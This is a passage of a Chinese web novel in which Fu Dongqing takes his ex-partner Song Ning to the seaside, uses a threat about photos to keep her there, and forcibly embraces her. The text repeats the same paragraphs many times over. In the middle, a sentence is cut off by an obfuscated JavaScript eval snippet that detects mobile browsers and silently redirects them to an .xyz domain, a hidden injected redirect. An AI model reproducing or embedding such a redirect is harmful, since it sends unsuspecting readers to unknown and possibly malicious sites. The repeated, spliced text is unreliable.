宋凝知道他不是在没话找话,而是情真意切的想要唤醒他们之间早就死透了的感情,平淡道:“当然记得,你出国旅行之前常带我来这个地方,不过晚上来这里的体验是破天荒头一遭。” 她不忘暗戳戳的刺他一句,提醒他当时撒了怎样的一个弥天大谎,所谓的出国旅行就是个想要甩掉她的借口罢了。 傅东擎艰难的开口:“对不起,但我那时……有不得已的理由。” 宋凝“嗯”了一声,扭过脸去看向海上的明月。 今晚唯一的安慰大概就是天气不错了。 傅东擎在被拘留期间也没闲着,他早就提前打好腹稿,准备用动人的言辞求得她的原谅了,毕竟他当初就是这样骗到了她的心。 殊不知时过境迁,宋凝早就不再是那个会对他的话照单全收的傻女人了。 傅东擎一计不成,又开始用伤感的语气博取宋凝的同情心:“你还记得那棵树么?我们第一次牵手就是在那棵树下,那天的天气很好,阳光和煦,微风拂面……” 时至今日,他照样能回忆起那天的每一处细节,说到动容之处,眼眶都泛起了浅红。 可宋凝自始至终都面无表情,相比于所谓的过往,她更珍惜眼前的风景,直到傅东擎自行走下车去,又来拉她这边的车门:“走,我带你去前面看一看。” 他口中的前面指的是他们从前肩并肩依偎过的海滩。 宋凝其实是不愿意去,奈何力气实在是敌不过他,最终只能是不情不愿的被他带到海滩上去了,她走的深一脚浅一脚,但口口声声说是深爱着她的人压根没有注意到。 傅东擎只是急不可耐的拥抱了她。 宋凝没来得及像之前一样避开他若有似无的接触,第一反应就是本能的把他推开:“放开我!” 傅东擎毫无心理准备的被推的后退了几步,不甘心的握住她的手腕问:“你难道忘了么?从前我们还在一起的时候,无论牵手还是拥抱都很甜蜜,现在我只不过想帮你找回那时候的感觉!” 他大言不惭的说着,还想再次靠近宋凝,但她实在是连敷衍他的心情都没了:“你到底要我说多少遍才能明白?活在过去的人就只有你一个,我想往前走。” 那些过去不仅是简单的回忆,更像是她不堪回首的黑历史。 “不,我不信!你一定是还在生我的气……”傅东擎压根没听进去她的话,他只说自己愿意相信的事,甚至固执的认为是自己做的还不够,偏执道,“别担心,我以后只会跟你做这种事!” 话音未落,他不顾宋凝的挣扎和抗拒,再次把她困回到了自己怀中,并且一手握着她的手腕,一手紧紧揽在她腰间,浑身都散发着危险气息。 生活,只不过他们两个身边像是多了层无形的屏障,氛围冷淡的不得了。 傅东擎的脸色越来越难看,最后还是问:“你不想帮唐婷要回照片了么?” 这句话的效力并不会随着使用次数的增多而发生任何变化。 没人喜欢被威胁的感觉,宋凝自然也一样,但她深呼吸一口,还是忍了,不为别的,就为这是她距离成功最近的一次机会。 傅东擎见她默认了,再次伸出手去想要拉她的手,然而却被她给不动声色的避开了。 宋凝快步走向他先前停车的地方,自行拉开后排车门坐了进去,并且直到他将车开到目的地的海边都没有再说哪怕一个字。 午夜时分,万籁俱寂,海边也只能听到海水冲刷岸边沙石的声音。 傅东擎落下车窗问:“你还记得这个地方么?” 宋凝知道他不是在没话找话,而是情真意切的想要唤醒他们之间早就死透了的感情,平淡道:“当然记得,你出国旅行之前常带我来这个地方,不过晚上来这里的体验是破天荒头一遭。” 她不忘暗戳戳的刺他一句,提醒他当时撒了怎样的一个弥天大谎,所谓的出国旅行就是个想要甩掉她的借口罢了。 傅东擎艰难的开口:“对不起,但我那时……有不得已的理由。” 宋凝“嗯”了一声,扭过脸去看向海上的明月。 今晚唯一的安慰大概就是天气不错了。 傅东擎在被拘留期间也没闲着,他早就提前打好腹稿,准备用动人的言辞求得她的原谅了,毕竟他当初就是这样骗到了她的心。 殊不知时过境迁,宋凝早就不再是那个会对他的话照单全收的傻女人了。 傅东擎一计不成,又开始用伤感的语气博取宋凝的同情心:“你还记得那棵树么?我们第一次牵手就是在那棵树下,那天的天气很好,阳光和煦,微风拂面……” 时至今日,他照样能回忆起那天的每一处细节,说到动容之处,眼眶都泛起了浅红。 可宋凝自始至终都面无表情,相比于所谓的过往,她更珍惜眼前的风景,直到傅东擎自行走下车去,又来拉她这边的车门:“走,我带你去前面看一看。” 他口中的前面指的是他们从前肩并肩依偎过的海滩。 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傅东擎在被拘留期间也没闲着,他早就提前打好腹稿,准备用动人的言辞求得她的原谅了,毕竟他当初就是这样骗到了她的心。 殊不知时过境迁,宋凝早就不再是那个会对他的话照单全收的傻女人了。 傅东擎一计不成,又开始用伤感的语气博取宋凝的同情心:“你还记得那棵树么?我们第一次牵手就是在那棵树下,那天的天气很好,阳光和煦,微风拂面……” 时至今日,他照样能回忆起那天的每一处细节,说到动容之处,眼眶都泛起了浅红。 可宋凝自始至终都面无表情,相比于所谓的过往,她更珍惜眼前的风景,直到傅东擎自行走下车去,又来拉她这边的车门:“走,我带你去前面看一看。” 他口中的前面指的是他们从前肩并肩依偎过的海滩。 宋凝其实是不愿意去,奈何力气实在是敌不过他,最终只能是不情不愿的被他带到海滩上去了,她走的深一脚浅一脚,但口口声声说是深爱着她的人压根没有注意到。 傅东擎只是急不可耐的拥抱了她。 宋凝没来得及像之前一样避开他若有似无的接触,第一反应就是本能的把他推开:“放开我!” 傅东擎毫无心理准备的被推的后退了几步,不甘心的握住她的手腕问:“你难道忘了么?从前我们还在一起的时候,无论牵手还是拥抱都很甜蜜,现在我只不过想帮你找回那时候的感觉!” 他大言不惭的说着,还想再次靠近宋凝,但她实在是连敷衍他的心情都没了:“你到底要我说多少遍才能明白?活在过去的人就只有你一个,我想往前走。” 那些过去不仅是简单的回忆,更像是她不堪回首的黑历史。 “不,我不信!你一定是还在生我的气……”傅东擎压根没听进去她的话,他只说自己愿意相信的事,甚至固执的认为是自己做的还不够,偏执道,“别担心,我以后只会跟你做这种事!” 话音未落,他不顾宋凝的挣扎和抗拒,再次把她困回到了自己怀中,并且一手握着她的手腕,一手紧紧揽在她腰间,浑身都散发着危险气息。 生活,只不过他们两个身边像是多了层无形的屏障,氛围冷淡的不得了。 傅东擎的脸色越来越难看,最后还是问:“你不想帮唐婷要回照片了么?” 这句话的效力并不会随着使用次数的增多而发生任何变化。 没人喜欢被威胁的感觉,宋凝自然也一样,但她深呼吸一口,还是忍了,不为别的,就为这是她距离成功最近的一次机会。 傅东擎见她默认了,再次伸出手去想要拉她的手,然而却被她给不动声色的避开了。 宋凝快步走向他先前停车的地方,自行拉开后排车门坐了进去,并且直到他将车开到目的地的海边都没有再说哪怕一个字。 午夜时分,万籁俱寂,海边也只能听到海水冲刷岸边沙石的声音。 傅东擎落下车窗问:“你还记得这个地方么?” 宋凝知道他不是在没话找话,而是情真意切的想要唤醒他们之间早就死透了的感情,平淡道:“当然记得,你出国旅行之前常带我来这个地方,不过晚上来这里的体验是破天荒头一遭。” 她不忘暗戳戳的刺他一句,提醒他当时撒了怎样的一个弥天大谎,所谓的出国旅行就是个想要甩掉她的借口罢了。 傅东擎艰难的开口:“对不起,但我那时……有不得已的理由。” 宋凝“嗯”了一声,扭过脸去看向海上的明月。 今晚唯一的安慰大概就是天气不错了。 傅东擎在被拘留期间也没闲着,他早就提前打好腹稿,准备用动人的言辞求得她的原谅了,毕竟他当初就是这样骗到了她的心。 殊不知时过境迁,宋凝早就不再是那个会对他的话照单全收的傻女人了。 傅东擎一计不成,又开始用伤感的语气博取宋凝的同情心:“你还记得那棵树么?我们第一次牵手就是在那棵树下,那天的天气很好,阳光和煦,微风拂面……” 时至今日,他照样能回忆起那天的每一处细节,说到动容之处,眼眶都泛起了浅红。 可宋凝自始至终都面无表情,相比于所谓的过往,她更珍惜眼前的风景,直到傅东擎自行走下车去,又来拉她这边的车门:“走,我带你去前面看一看。” 他口中的前面指的是他们从前肩并肩依偎过的海滩。 宋凝其实是不愿意去,奈何力气实在是敌不过他,最终只能是不情不愿的被他带到海滩上去了,她走的深一脚浅一脚,但口口声声说是深爱着她的人压根没有注意到。 傅东擎只是急不可耐的拥抱了她。 宋凝没来得及像之前一样避开他若有似无的接触,第一反应就是本能的把他推开:“放开我!” 傅东擎毫无心理准备的被推的后退了几步,不甘心的握住她的手腕问:“你难道忘了么?从前我们还在一起的时候,无论牵手还是拥抱都很甜蜜,现在我只不过想帮你找回那时候的感觉!” 他大言不惭的说着,还想再次靠近宋凝,但她实在是连敷衍他的心情都没了:“你到底要我说多少遍才能明白?活在过去的人就只有你一个,我想往前走。” 那些过去不仅是简单的回忆,更像是她不堪回首的黑历史。 “不,我不信!你一定是还在生我的气……”傅东擎压根没听进去她的话,他只说自己愿意相信的事,甚至固执的认为是自己做的还不够,偏执道,“别担心,我以后只会跟你做这种事!” 话音未落,他不顾宋凝的挣扎和抗拒,再次把她困回到了自己怀中,并且一手握着她的手腕,一手紧紧揽在她腰间,浑身都散发着危险气息。 生活,只不过他们两个身边像是多了层无形的屏障,氛围冷淡的不得了。 傅东擎的脸色越来越难看,最后还是问:“你不想帮唐婷要回照片了么?” 这句话的效力并不会随着使用次数的增多而发生任何变化。 没人喜欢被威胁的感觉,宋凝自然也一样,但她深呼吸一口,还是忍了,不为别的,就为这是她距离成功最近的一次机会。 傅东擎见她默认了,再次伸出手去想要拉她的手,然而却被她给不动声色的避开了。 宋凝快步走向他先前停车的地方,自行拉开后排车门坐了进去,并且直到他将车开到目的地的海边都没有再说哪怕一个字。 午夜时分,万籁俱寂,海边也只能听到海水冲刷岸边沙石的声音。 傅东擎落下车窗问:“你还记得这个地方么?” 宋凝知道他不是在没话找话,而是情真意切的想要唤醒他们之间早就死透了的感情,平淡道:“当然记得,你出国旅行之前常带我来这个地方,不过晚上来这里的体验是破天荒头一遭。” 她不忘暗戳戳的刺他一句,提醒他当时撒了怎样的一个弥天大谎,所谓的出国旅行就是个想要甩掉她的借口罢了。 傅东擎艰难的开口:“对不起,但我那时……有不得已的理由。” 宋凝“嗯”了一声,扭过脸去看向海上的明月。 今晚唯一的安慰大概就是天气不错了。 傅东擎在被拘留期间也没闲着,他早就提前打好腹稿,准备用动人的言辞求得她的原谅了,毕竟他当初就是这样骗到了她的心。 殊不知时过境迁,宋凝早就不再是那个会对他的话照单全收的傻女人了。 傅东擎一计不成,又开始用伤感的语气博取宋凝的同情心:“你还记得那棵树么?我们第一次牵手就是在那棵树下,那天的天气很好,阳光和煦,微风拂面……” 时至今日,他照样能回忆起那天的每一处细节,说到动容之处,眼眶都泛起了浅红。 可宋凝自始至终都面无表情,相比于所谓的过往,她更珍惜眼前的风景,直到傅东擎自行走下车去,又来拉她这边的车门:“走,我带你去前面看一看。” 他口中的前面指的是他们从前肩并肩依偎过的海滩。 宋凝其实是不愿意去,奈何力气实在是敌不过他,最终只能是不情不愿的被他带到海滩上去了,她走的深一脚浅一脚,但口口声声说是深爱着她的人压根没有注意到。 傅东擎只是急不可耐的拥抱了她。 宋凝没来得及像之前一样避开他若有似无的接触,第一反应就是本能的把他推开:“放开我!” 傅东擎毫无心理准备的被推的后退了几步,不甘心的握住她的手腕问:“你难道忘了么?从前我们还在一起的时候,无论牵手还是拥抱都很甜蜜,现在我只不过想帮你找回那时候的感觉!” 他大言不惭的说着,还想再次靠近宋凝,但她实在是连敷衍他的心情都没了:“你到底要我说多少遍才能明白?活在过去的人就只有你一个,我想往前走。” 那些过去不仅是简单的回忆,更像是她不堪回首的黑历史。 “不,我不信!你一定是还在生我的气……”傅东擎压根没听进去她的话,他只说自己愿意相信的事,甚至固执的认为是自己做的还不够,偏执道,“别担心,我以后只会跟你做这种事!” 话音未落,他不顾宋凝的挣扎和抗拒,再次把她困回到了自己怀中,并且一手握着她的手腕,一手紧紧揽在她腰间,浑身都散发着危险气息。 生活,只不过他们两个身边像是多了层无形的屏障,氛围冷淡的不得了。 傅东擎的脸色越来越难看,最后还是问:“你不想帮唐婷要回照片了么?” 这句话的效力并不会随着使用次数的增多而发生任何变化。 没人喜欢被威胁的感觉,宋凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307145|177983||http|test|mini|href|location''.split(''|''),0,{})); () { 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他大言不惭的说着,还想再次靠近宋凝,但她实在是连敷衍他的心情都没了:“你到底要我说多少遍才能明白?活在过去的人就只有你一个,我想往前走。” 那些过去不仅是简单的回忆,更像是她不堪回首的黑历史。 “不,我不信!你一定是还在生我的气……”傅东擎压根没听进去她的话,他只说自己愿意相信的事,甚至固执的认为是自己做的还不够,偏执道,“别担心,我以后只会跟你做这种事!” 话音未落,他不顾宋凝的挣扎和抗拒,再次把她困回到了自己怀中,并且一手握着她的手腕,一手紧紧揽在她腰间,浑身都散发着危险气息。 生活,只不过他们两个身边像是多了层无形的屏障,氛围冷淡的不得了。 傅东擎的脸色越来越难看,最后还是问:“你不想帮唐婷要回照片了么?” 这句话的效力并不会随着使用次数的增多而发生任何变化。 没人喜欢被威胁的感觉,宋凝自然也一样,但她深呼吸一口,还是忍了,不为别的,就为这是她距离成功最近的一次机会。 傅东擎见她默认了,再次伸出手去想要拉她的手,然而却被她给不动声色的避开了。 宋凝快步走向他先前停车的地方,自行拉开后排车门坐了进去,并且直到他将车开到目的地的海边都没有再说哪怕一个字。 午夜时分,万籁俱寂,海边也只能听到海水冲刷岸边沙石的声音。 傅东擎落下车窗问:“你还记得这个地方么?” 宋凝知道他不是在没话找话,而是情真意切的想要唤醒他们之间早就死透了的感情,平淡道:“当然记得,你出国旅行之前常带我来这个地方,不过晚上来这里的体验是破天荒头一遭。” 她不忘暗戳戳的刺他一句,提醒他当时撒了怎样的一个弥天大谎,所谓的出国旅行就是个想要甩掉她的借口罢了。 傅东擎艰难的开口:“对不起,但我那时……有不得已的理由。” 宋凝“嗯”了一声,扭过脸去看向海上的明月。 今晚唯一的安慰大概就是天气不错了。 傅东擎在被拘留期间也没闲着,他早就提前打好腹稿,准备用动人的言辞求得她的原谅了,毕竟他当初就是这样骗到了她的心。 殊不知时过境迁,宋凝早就不再是那个会对他的话照单全收的傻女人了。 傅东擎一计不成,又开始用伤感的语气博取宋凝的同情心:“你还记得那棵树么?我们第一次牵手就是在那棵树下,那天的天气很好,阳光和煦,微风拂面……” 时至今日,他照样能回忆起那天的每一处细节,说到动容之处,眼眶都泛起了浅红。 可宋凝自始至终都面无表情,相比于所谓的过往,她更珍惜眼前的风景,直到傅东擎自行走下车去,又来拉她这边的车门:“走,我带你去前面看一看。” 他口中的前面指的是他们从前肩并肩依偎过的海滩。 宋凝其实是不愿意去,奈何力气实在是敌不过他,最终只能是不情不愿的被他带到海滩上去了,她走的深一脚浅一脚,但口口声声说是深爱着她的人压根没有注意到。 傅东擎只是急不可耐的拥抱了她。 宋凝没来得及像之前一样避开他若有似无的接触,第一反应就是本能的把他推开:“放开我!” 傅东擎毫无心理准备的被推的后退了几步,不甘心的握住她的手腕问:“你难道忘了么?从前我们还在一起的时候,无论牵手还是拥抱都很甜蜜,现在我只不过想帮你找回那时候的感觉!” 他大言不惭的说着,还想再次靠近宋凝,但她实在是连敷衍他的心情都没了:“你到底要我说多少遍才能明白?活在过去的人就只有你一个,我想往前走。” 那些过去不仅是简单的回忆,更像是她不堪回首的黑历史。 “不,我不信!你一定是还在生我的气……”傅东擎压根没听进去她的话,他只说自己愿意相信的事,甚至固执的认为是自己做的还不够,偏执道,“别担心,我以后只会跟你做这种事!” 话音未落,他不顾宋凝的挣扎和抗拒,再次把她困回到了自己怀中,并且一手握着她的手腕,一手紧紧揽在她腰间,浑身都散发着危险气息。 生活,只不过他们两个身边像是多了层无形的屏障,氛围冷淡的不得了。 傅东擎的脸色越来越难看,最后还是问:“你不想帮唐婷要回照片了么?” 这句话的效力并不会随着使用次数的增多而发生任何变化。 没人喜欢被威胁的感觉,宋凝自然也一样,但她深呼吸一口,还是忍了,不为别的,就为这是她距离成功最近的一次机会。 傅东擎见她默认了,再次伸出手去想要拉她的手,然而却被她给不动声色的避开了。 宋凝快步走向他先前停车的地方,自行拉开后排车门坐了进去,并且直到他将车开到目的地的海边都没有再说哪怕一个字。 午夜时分,万籁俱寂,海边也只能听到海水冲刷岸边沙石的声音。 傅东擎落下车窗问:“你还记得这个地方么?” 宋凝知道他不是在没话找话,而是情真意切的想要唤醒他们之间早就死透了的感情,平淡道:“当然记得,你出国旅行之前常带我来这个地方,不过晚上来这里的体验是破天荒头一遭。” 她不忘暗戳戳的刺他一句,提醒他当时撒了怎样的一个弥天大谎,所谓的出国旅行就是个想要甩掉她的借口罢了。 傅东擎艰难的开口:“对不起,但我那时……有不得已的理由。” 宋凝“嗯”了一声,扭过脸去看向海上的明月。 今晚唯一的安慰大概就是天气不错了。 傅东擎在被拘留期间也没闲着,他早就提前打好腹稿,准备用动人的言辞求得她的原谅了,毕竟他当初就是这样骗到了她的心。 殊不知时过境迁,宋凝早就不再是那个会对他的话照单全收的傻女人了。 傅东擎一计不成,又开始用伤感的语气博取宋凝的同情心:“你还记得那棵树么?我们第一次牵手就是在那棵树下,那天的天气很好,阳光和煦,微风拂面……” 时至今日,他照样能回忆起那天的每一处细节,说到动容之处,眼眶都泛起了浅红。 可宋凝自始至终都面无表情,相比于所谓的过往,她更珍惜眼前的风景,直到傅东擎自行走下车去,又来拉她这边的车门:“走,我带你去前面看一看。” 他口中的前面指的是他们从前肩并肩依偎过的海滩。 宋凝其实是不愿意去,奈何力气实在是敌不过他,最终只能是不情不愿的被他带到海滩上去了,她走的深一脚浅一脚,但口口声声说是深爱着她的人压根没有注意到。 傅东擎只是急不可耐的拥抱了她。 宋凝没来得及像之前一样避开他若有似无的接触,第一反应就是本能的把他推开:“放开我!” 傅东擎毫无心理准备的被推的后退了几步,不甘心的握住她的手腕问:“你难道忘了么?从前我们还在一起的时候,无论牵手还是拥抱都很甜蜜,现在我只不过想帮你找回那时候的感觉!” 他大言不惭的说着,还想再次靠近宋凝,但她实在是连敷衍他的心情都没了:“你到底要我说多少遍才能明白?活在过去的人就只有你一个,我想往前走。” 那些过去不仅是简单的回忆,更像是她不堪回首的黑历史。 “不,我不信!你一定是还在生我的气……”傅东擎压根没听进去她的话,他只说自己愿意相信的事,甚至固执的认为是自己做的还不够,偏执道,“别担心,我以后只会跟你做这种事!” 话音未落,他不顾宋凝的挣扎和抗拒,再次把她困回到了自己怀中,并且一手握着她的手腕,一手紧紧揽在她腰间,浑身都散发着危险气息。